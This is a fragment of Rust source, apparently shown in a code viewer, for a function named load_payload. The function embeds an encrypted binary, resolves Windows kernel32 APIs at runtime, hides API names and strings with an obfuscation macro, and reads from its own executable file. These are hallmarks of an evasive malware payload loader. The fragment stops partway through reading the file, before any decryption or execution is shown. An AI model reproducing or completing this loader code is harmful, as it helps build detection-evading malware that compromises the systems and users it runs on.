()
| 3 | use std::ptr; |
| 4 | |
| 5 | pub fn load_payload() -> Result<Vec<u8>, String> { |
| 6 | const ENCRYPT_DATA: &'static [u8] = include_bytes!("../../output/encrypt.bin"); |
| 7 | |
| 8 | unsafe { |
| 9 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?; |
| 10 | |
| 11 | // Define function types |
| 12 | type GetModuleFileNameAFn = unsafe extern "system" fn(isize, *mut u8, u32) -> u32; |
| 13 | type CreateFileAFn = unsafe extern "system" fn(*const u8, u32, u32, *mut std::ffi::c_void, u32, u32, isize) -> isize; |
| 14 | type ReadFileFn = unsafe extern "system" fn(isize, *mut u8, u32, *mut u32, *mut std::ffi::c_void) -> i32; |
| 15 | type CloseHandleFn = unsafe extern "system" fn(isize) -> i32; |
| 16 | |
| 17 | // Load functions |
| 18 | let get_module_file_name_a: GetModuleFileNameAFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"GetModuleFileNameA\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load GetModuleFileNameA\0").as_slice()).to_string())?); |
| 19 | let create_file_a: CreateFileAFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CreateFileA\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CreateFileA\0").as_slice()).to_string())?); |
| 20 | let read_file: ReadFileFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"ReadFile\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load ReadFile\0").as_slice()).to_string())?); |
| 21 | let close_handle: CloseHandleFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CloseHandle\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CloseHandle\0").as_slice()).to_string())?); |
| 22 | |
| 23 | // 1. Get current module filename |
| 24 | let mut filename_buf = [0u8; 2048]; |
| 25 | let len = get_module_file_name_a(0, filename_buf.as_mut_ptr(), 2048); |
| 26 | if len == 0 { |
| 27 | return Err(String::from_utf8_lossy(obfbytes!(b"Failed to get module filename\0").as_slice()).to_string()); |
| 28 | } |
| 29 | |
| 30 | // 2. Open the file |
| 31 | const GENERIC_READ: u32 = 0x80000000; |
| 32 | const FILE_SHARE_READ: u32 = 0x00000001; |
| 33 | const OPEN_EXISTING: u32 = 3; |
| 34 | const FILE_ATTRIBUTE_NORMAL: u32 = 0x80; |
| 35 | |
| 36 | let handle = create_file_a( |
| 37 | filename_buf.as_ptr(), |
| 38 | GENERIC_READ, |
| 39 | FILE_SHARE_READ, |
| 40 | ptr::null_mut(), |
| 41 | OPEN_EXISTING, |
| 42 | FILE_ATTRIBUTE_NORMAL, |
| 43 | 0 |
| 44 | ); |
| 45 | |
| 46 | if handle == -1 { // INVALID_HANDLE_VALUE |
| 47 | return Err(String::from_utf8_lossy(obfbytes!(b"Failed to open file\0").as_slice()).to_string()); |
| 48 | } |
| 49 | |
| 50 | // 3. Read from file into buffer |
| 51 | // We allocate a buffer the size of our payload |
| 52 | let mut buffer = vec![0u8; ENCRYPT_DATA.len()]; |
| 53 | let mut bytes_read: u32 = 0; |
| 54 | |
| 55 | let success = read_file( |
| 56 | handle, |
| 57 | buffer.as_mut_ptr(), |
| 58 | ENCRYPT_DATA.len() as u32, |
| 59 | &mut bytes_read, |
| 60 | ptr::null_mut() |
| 61 | ); |
| 62 |
nothing calls this directly
no test coverage detected